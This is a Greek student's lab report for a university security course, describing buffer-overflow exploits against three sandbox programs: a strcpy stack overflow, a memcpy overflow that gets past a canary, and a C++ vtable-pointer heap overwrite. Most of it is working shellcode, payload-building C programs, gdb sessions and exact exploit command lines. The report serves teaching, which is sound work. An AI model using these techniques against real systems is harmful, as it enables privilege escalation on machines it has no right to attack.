ΕΘΝΙΚΟ ΚΑΙ ΚΑΠΟΔΙΣΤΡΙΑΚΟ ΠΑΝΕΠΙΣΤΗΜΙΟ ΑΘΗΝΩΝ
ΣΧΟΛΗ ΘΕΤΙΚΩΝ ΕΠΙΣΤΗΜΩΝ
ΤΜΗΜΑ ΠΛΗΡΟΦΟΡΙΚΗΣ ΚΑΙ ΤΗΛΕΠΙΚΟΙΝΩΝΙΩΝ

ΥΣ13 ΕΑΡΙΝΟ 2014

Project #1

Buffer Overflows

(0 ημέρες καθυστέρησης)

ΛΟΥΓΙΑΚΗΣ ΧΡΗΣΤΟΣ - 1115200600289

ΑΝΑΦΟΡΑ

Superuser Exploit

Αυτός ήταν ο πρώτος λογαριασμός που ξεκίνησα να ψάχνω για αδυναμίες και τρόπους εκμετάλλευσης τους. Αφού διάβασα και κατανόησα το paper του Aleph One, έκανα τις δοκιμές στον κώδικα που έχει. Χρησιμοποιώντας το shellcode του και τον κώδικα που παρέχει στο testsc.c, δοκίμασα στο sbox αν ανοίγει το shell επιτυχώς, κάτι που έγινε οπότε κράτησα τον δεκαεξαδικό κώδικα σε ένα αρχείο με την εξής εντολή στο terminal:

$echo `printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";` > sc

Το ίδιο αρχείο χρησιμοποίησα και για την εκμετάλλευση των αδυναμιών των επόμενων λογαριασμών.

Στην συνέχεια μελετώντας τον κώδικα του convert.c εντόπισα αδυναμία στην χρήση της συνάρτησης strcpy με είσοδο της ημερομηνίας από το χρήστη σαν δεύτερο όρισμα (γραμμή 16). Οπότε ξεκίνησα να τρέχω κάποιες εντολές στον gcc για να καταλήξω στην τελική δομή της εισόδου που θα χρησιμοποιούσα για να ανοίξω το shell τρέχοντας το πρόγραμμα convert.

Αρχικά έτρεξα το πρόγραμμα convert με ορίσματα 2 `printf “A%.0s” {1..N}` όπου N ο αριθμός που έβαζα κάθε φορά για να δω πότε θα αντιγραφτεί η return address του προγράμματος στη μνήμη. Μετά από μερικές δοκιμές είδα ότι στα 752 Α πέταγε Segmentation Fault ενώ στα 751 όχι.

Στην συνέχεια εκτέλεσα τον gcc με όρισμα το convert και επανέλαβα τις εξής εντολές:

(gdb) run 2 `printf “A%.0s” {1..N}`

(gdb) info reg ebp eip

ξεκινώντας με N = 752 και αυξάνοντας το κάθε φορά κατά ένα, για να δω πότε θα αντιγραφόντουσαν πλήρως τα eip και ebp. Τελικά έφτασα μέχρι το 756. Άρα έβγαλα το συμπέρασμα ότι έχω 756 bytes να γράψω πάνω τους. Με βάση αυτό υπολόγισα ότι χρειάζονται περίπου τα μισά να είναι nops, δηλαδή περίπου 378 bytes. Ο κώδικας του shell έχει το μέγεθος του αρχείου sc που δημιούργησα όπου με μία ls –l εντολή είδα ότι ήταν 46 bytes. Άρα έμεναν 756 – 378 – 46 = 332 bytes για να τα γεμίσω με την return address της επιλογής μου. Επειδή ο stack pointer στο sbox είναι σταθερός επέλεξα αυτόν για return address. Για να τον βρω χρησιμοποίησα τον κώδικα του sp.c που περιέχεται στο έγγραφο του Aleph One, και βρήκα 0xbffff738. Για την παραγωγή των επαναλαμβανόμενων ret έγραψα το παρακάτω μικρό πρόγραμμα:

```
============================================================

ret_mult.c

============================================================

#include <stdio.h>

void main()

{

	int i;

	for(i = 0; i < 83; i++)

	{

		putchar(0x38);

		putchar(0xf7);

		putchar(0xff);

		putchar(0xbf);

	}

}


============================================================
```

Το 83 προέκυψε από την πράξη 332/4 = 83 επειδή έχουμε να κάνουμε με διεύθυνση, δηλ. 4 bytes, και γράφτηκε ανάποδα όπως μπαίνουν στη μνήμη. Για να έχω το αποτέλεσμα σε αρχείο και εύκολα προσπελάσιμο έτρεξα την εντολή:

```
$./ret_mult > ret_val
```

Τελικά έγραψα και εκτέλεσα την εντολή:

```
$./convert 2 `printf '\x90%.0s' {1..378}``cat ../sdi0600289/sc``cat ../sdi0600289/ret_val
```

η οποία δεν δούλεψε, αλλά αλλάζοντας το 378 σε 379 δούλεψε. Αυτό συνέβη γιατί η return address δεν είχε γραφτεί ακριβώς στη μνήμη ξεκινώντας από την αρχή της και ήθελε μια μικρή μετατόπιση. Το μυστικό που βρήκα για τον superuser ήταν:

One is is three in any people a of is in called In example read

a is the simply into parts to How is each the itself?

possible the that about is a interesting discussed

later orutnFolvthlleroj

SERIAL:1399418401-
93515272e9f1641a5b133007ce45db19d9675f331111b5ccc1197f678b72a03a70c1ad5e
af8888058b009a044f6a03b24067a4ac4683ad9f5a2e937a2527dacd

Hyperuser Exploit

Η αδυναμία που εκμεταλλεύτηκα στο πρόγραμμα αυτού του χρήστη ήταν αρχικά ότι στην γραμμή 33 πέρναγε στο hwaddr.len την τιμή του 5^{ου} byte από το αρχείο που έχει επιλέξει ο χρήστης, όπου μετά την χρησιμοποιούσε στην memcpy για όριο. Εύκολα συμπέρανα ότι φτιάχνοντας ένα αρχείο, που να έχει 5^{ο} χαρακτήρα το χαρακτήρα με ascii κωδικό τον αριθμό που θέλω, και περνώντας το ως όρισμα θα μπορούσα να γράψω πάνω στην μνήμη πέρα από το hwaddr.addr που βρίσκεται στην memcpy(γραμμή 34).

Στην αρχή σκέφτηκα να κάνω ότι και στον superuser, δηλαδή να φτιάξω ένα αρχείο που να περιέχει 4 bytes με οτιδήποτε, στο 5^{ο} έναν χαρακτήρα με ascii κωδικό αρκετά μεγάλο για να γράψω πάνω στην return address, στην συνέχεια να έχει 3 ακόμη χαρακτήρες με οτιδήποτε λόγω του offset του address στο πρόγραμμα, μετά τον κώδικα του shell και τέλος να το γέμιζα με return address.

Δοκιμάζοντας αυτό όμως μου πέταγε Segmentation Fault, και παρατηρώντας λίγο καλύτερα είδα ότι αυτό οφειλόταν στην επόμενη εντολή (γραμμή 35), επειδή αντιγραφόταν και η διεύθυνση που έδειχνε το hwaddr.hwtype. Επίσης κάνοντας disas την print_address και την main παρατήρησα κάποιες επιπλέον εντολές στον πρόλογο των συναρτήσεων, όπως mov %gs:0x14,%eax, και αντιλήφθηκα ότι υπάρχει προστασία με canary. Εκτυπώνοντάς με την εντολή info reg eax στον gdb, αφού είχα βάλει πρώτα breakpoint σε αυτή την εντολή, είδα ότι είναι δυναμικό και όχι στατικό.

Λόγω των παραπάνω κατέληξα στο συμπέρασμα ότι πρέπει να κάνω overwrite πρώτα την διεύθυνση που δείχνει το hwaddr.hwtype, κάνοντας buffer overflow στον πίνακα hwaddr.addr, με την διεύθυνση της return addr, και χρησιμοποιώντας την εντολή στην

γραμμή 35 να την αντιγράψω για να δείχνει στην διεύθυνση του hwaddr.addr όπου θα έχω βάλει το shellcode.

Τρέχοντας το πρόγραμμα μέσω του gdb και δίνοντας τις εξής εντολές:

(gdb) p &hwaddr.addr

(gdb) info frame

βρήκα αρχικά την διεύθυνση του hwaddr.addr = 0xbffff5d9, και μετά την διεύθυνση του προηγούμενου stack pointer = 0xbffff680 από τον οποίο αφαίρεσα 4 bytes που δεσμεύει το σύστημα για το shsize_t len του struct arp_addr που βρίσκεται στην κορυφή του stack κατά την επιστροφή. Για την δημιουργία του αρχείου που πέρασα ως όρισμα στο πρόγραμμα έφτιαξα τα εξής προγράμματα:

==========

pack.c

==========

```
#include <stdio.h>


void main()
{
	int i;


	putchar(0xd9);
	putchar(0xfc);
	putchar(0xff);
	putchar(0xbf);


	for(i = 0; i < 4; i++)
		putchar(136);
}
```

==========

ret_mult.c

==========

```
#include <stdio.h>

void main()
{
	int i;

	for(i = 0; i < 86; i++)
	{
		putchar('A');
	}


	putchar(0x7c);
	putchar(0xfd);
	putchar(0xff);
	putchar(0xbf);
}
```

==========

και εκτέλεσα τις εξής εντολές:

./pack > pack.txt

./ret_mult > ret_val

Μια μικρή περιγραφή των προγραμμάτων και τις λογικής που ακολούθησα:

1. το pack.c εκτυπώνει τα 4 πρώτα bytes που είναι η διεύθυνση του hwaddr.addr που θα αντιγραφεί στην ret με την εντολή της γραμμής 35 και μετά εκτυπώνει το μήκος(128(addr[MAX_ADDR_LEN])+8(ADDR_OFFSET)=136) που θέλουμε να πάρει η μεταβλητή hwaddr.len με την εντολή της γραμμής 34 ώστε να αντιγράψει μέχρι και το hwaddr.hwtype. Από εκείνο το σημείο και μετά θα μπει το sc που χρησιμοποιήσαμε και πριν.

2. το ret_mult.c εκτυπώνει 86 χαρακτήρες A για γέμισμα μέχρι να φτάσει στο σημείο που θα υπάρχει το hwaddr.hwtype, και μετά την διεύθυνση του προηγούμενου stack pointer - 4 = 0xbffffd7c. Το 86 βγήκε από την πράξη 136-46(shellcode)-4(offset).

Τέλος έδωσα την εντολή:

$echo "`cat pack.txt``cat sc``cat ret_val`" > p.txt

όπου τελικά το p.txt χρησιμοποιήθηκε σαν όρισμα του προγράμματος.

Να σημειωθεί σε αυτό το σημείο ότι επειδή είχα το ίδιο πρόβλημα με τα υπόλοιπα παιδιά όσον αφορά την εκτέλεση εντός gdb και εκτός, για να καταλήξω στις διευθύνσεις που αναφέρω παραπάνω και να τρέξει το πρόγραμμα με τις ίδιες συνθήκες, χρησιμοποιήθηκε ο σύνδεσμος που πόσταρε ο βοηθός του μαθήματος στο φόρουμ και ακολουθηθήκαν οι παρακάτω συμβουλές και το script στο τέλος:

Since your vulnerable program does not take any arguments, the environment variables are likely the culprit. Mare sure they are the same in both invocations, in the shell and in the debugger. To this end, you can wrap your invocation in env:

env - /path/to/stack

And with the debugger:

env - gdb /path/to/stack

($) show env

LINES=24

COLUMNS=80

In the above example, there are two environment variables set by gdb, which you can further disable:

unset env LINES

unset env COLUMNS

Now show env should return an empty list. At this point, you can start the debugging process to find the absolute stack address you envision to jump to (e.g., 0xbffffa8b), and hardcode it into your exploit.

One further subtle but important detail: there's a difference between calling ./stack and /path/to/stack: since argv[0] holds the program exactly how you invoked it, you need to ensure equal invocation strings. That's why I used /path/to/stack in the above examples and not just ./stack and gdb stack.

When learning to exploit with memory safety vulnerabilities, I recommend to use the wrapper program below, which does the heavy lifting and ensures equal stack offsets:

$ invoke stack # just call the executable

$ invoke --gdb stack # run the executable in GDB

Here is the script:

```
#!/bin/sh

while getopts "dte:h?" opt ; do
  case "$opt" in
    h|\?)
      printf "usage: %s -e KEY=VALUE prog [args...]\n" $(basename $0)
```

```
      exit 0
      ;;
    t)
      tty=1
      gdb=1
      ;;
    d)
      gdb=1
      ;;
    e)
      env=$OPTARG
      ;;
  esac
done

shift $(expr $OPTIND - 1)
prog=$(readlink -f $1)
shift
if [ -n "$gdb" ] ; then
  if [ -n "$tty" ]; then
    touch /tmp/gdb-debug-pty
    exec env - $env TERM=xterm PWD=$PWD gdb -tty /tmp/gdb-debug-pty --args $prog "$@"
  else
    exec env - $env TERM=xterm PWD=$PWD gdb --args $prog "$@"
  fi
else
  exec env - $env TERM=xterm PWD=$PWD $prog "$@"
fi
```

Τελικά το μυστικό που βρήκα για τον hyperuser ήταν το εξής:

interesting how possible people, general number

to secret text. something cryptography secret this that

right simple presented text divided three and three much

leaked share secret Is to secret no the leaked share? questions

in on! nalisr inengeect

SERIAL:1400145302-
c67070f2f2b01cbd8fce6ef3d354e844ff60128198484b5e42d7ad9e795f520a61024f8c26
4c16a5de6adf36f47fc65c9ff355bb13e3248037cacf7449cfe94f

Masteruser Exploit

Για αυτό το exploit ακλουθώντας τις οδηγίες του εγγράφου SMASHING C++ VPTRS, έδωσα τις παρακάτω εντολές στον gdb για να καταλάβω την μορφή των αντικειμένων στο heap και που βρίσκεται τι. Οι εντολές που έτρεξα και τα συμπεράσματα που έβγαλα είναι τα εξής:

(gdb) disas main

movl $0x104,(%esp)

call 0x8048770 <_Znwj@plt>

mov %eax,%ebx

mov %ebx,(%esp)

στις παραπάνω assembly εντολές το σύστημα δεσμεύει 260 bytes = για τον buffer[256] + 4 bytes για τον VPTR.

call   0x8048b4a <Cow::Cow()>

mov   %ebx,0x18(%esp)

εδώ καλεί τον constructor της κλάσης Cow.

(gdb) disas 0x8048b4a

push   %ebp

mov   %esp,%ebp

sub $0x18,%esp

mov   0x8(%ebp),%eax

εδώ ο EAX περιέχει τον δείκτη 260 bytes, ο "this" δείκτης

mov   %eax,(%esp)

call   0x8048b00 <Animal::Animal()>

mov   0x8(%ebp),%eax

καλεί τον constructor της base κλάσης Animal

(gdb) disas 0x8048b00

push   %ebp

mov   %esp,%ebp

mov   0x8(%ebp),%eax

ο EAX παίρνει τον δείκτη στα 260 κατοχυρωμένα bytes ("This" δείκτης).

(gdb) x/aw 0x8048d30

0x8048d30 <_ZTV6Animal+8>: 0x8048760 <__cxa_pure_virtual@plt>

(gdb) x/aw 0x8048d20

0x8048d20 <_ZTV3Cow+8>: 0x804886c <Cow::speak()>

εδώ η διεύθυνση της virtual function αντιγράφεται από την κληρονομούμενη

(gdb) p a1

*$7 = (Animal *) 0x804a008*

(gdb) p a2

*$8 = (Animal *) 0x804a110*

οι διευθύνσεις των αντικειμένων στο σωρό, διαφορά 264(0x108) bytes. Οπότε 4 bytes βρίσκονται ανάμεσα στο $1^{ο}$ και το $2^{ο}$ αντικείμενο τα οποία εκτυπώνοντας τα είδα ότι περιέχουν σκουπίδια.

(gdb) x/a &a1.name

0x804a00c

(gdb) x/a &a2.name

0x804a114

από αυτό συμπέρανα ότι ο VPTR των αντικειμένων είναι πριν τον πίνακα name και όχι μετά.

Οπότε λαμβάνοντας υπόψιν τα παραπάνω και μελετώντας τον κώδικα του προγράμματος zoo έβγαλα το συμπέρασμα ότι πρέπει να δημιουργηθεί ένα αντικείμενο Cow, να γίνει buffer overflow μέσω της συνάρτησης που περιέχει την strcpy και παίρνει είσοδο από τον χρήστη, ώστε να αντιγραφτεί ο VPTR του επόμενου αντικειμένου με ένα δικό μας δείκτη που θα δείχνει στο δικό μας VTABLE, και στην συνέχεια να κληθεί η virtual συνάρτηση speak αλλά πηγαίνοντας στο δικό μας VTABLE να εκτελεστεί το shellcode. Το VTABLE ουσιαστικά είναι μια σειρά από δείκτες, αλλά επειδή οι κλάσεις του zoo.c περιέχουν μία μόνο virtual συνάρτηση το VTABLE αυτό που έκανα ήταν να βάλω στην θέση του VPTR του αντικειμένου Fox έναν δείκτη που να δείχνει σε έναν άλλο δείκτη όπου αυτός με την σειρά του να δείχνει στο shellcode. Άρα έτρεξα τις εντολές:

$ echo -n `printf "\x0c\xa0\x04\x8";` > vptr_addr

$ echo -n `printf "\x10\xa0\x04\x8";` > fnc_addr

όπου 0x804a00c είναι η διεύθυνση του a1.name buffer που θα μπει στη θέση του VPTR του δεύτερου αντικειμένου για να δείχνει στην αρχή του buffer, και 0x804a010 είναι η διεύθυνση του a1.name + 4 για να δείχνει εκεί που θα βρίσκεται το shellcode.

Εκτελώντας τελικά:

../masteruser/zoo -c `cat fnc_addr``cat sc``printf "\x90%0.s" {1..211}``cat vptr_addr` -s

βρήκα το μυστικό του masteruser το οποίο ήταν:

question it for or for of share piece This that is sharing.

little you now solution where is vertically different distributed parties.

information from about passage it divide so information secret by

These will class Cgtao!sog haofpone

SERIAL:1400329801-
360ec6ce62cf818acfd8663d803997abacb7f14547dd8678add0a41a75b8e97ed09f6cef8
aa171017a495a0ff20634934dc9ced3232afa2d180fe6962259790f

Τελικό Μυστικό: Τοποθετώντας τις σειρές από τους τελευταίους χαρακτήρες των μυστικών που δεν αποτελούν λέξεις τη μία κάτω από την άλλη, και συνδυάζοντας τες, διαβάζοντας στην αρχή κάθετα ένα-ένα χαρακτήρα και μετά ανά δύο αποκρυπτογράφησα το μισό μυστικό βγάζοντας:

Congratulations!For solving the

το υπόλοιπο δεν το έβγαλα.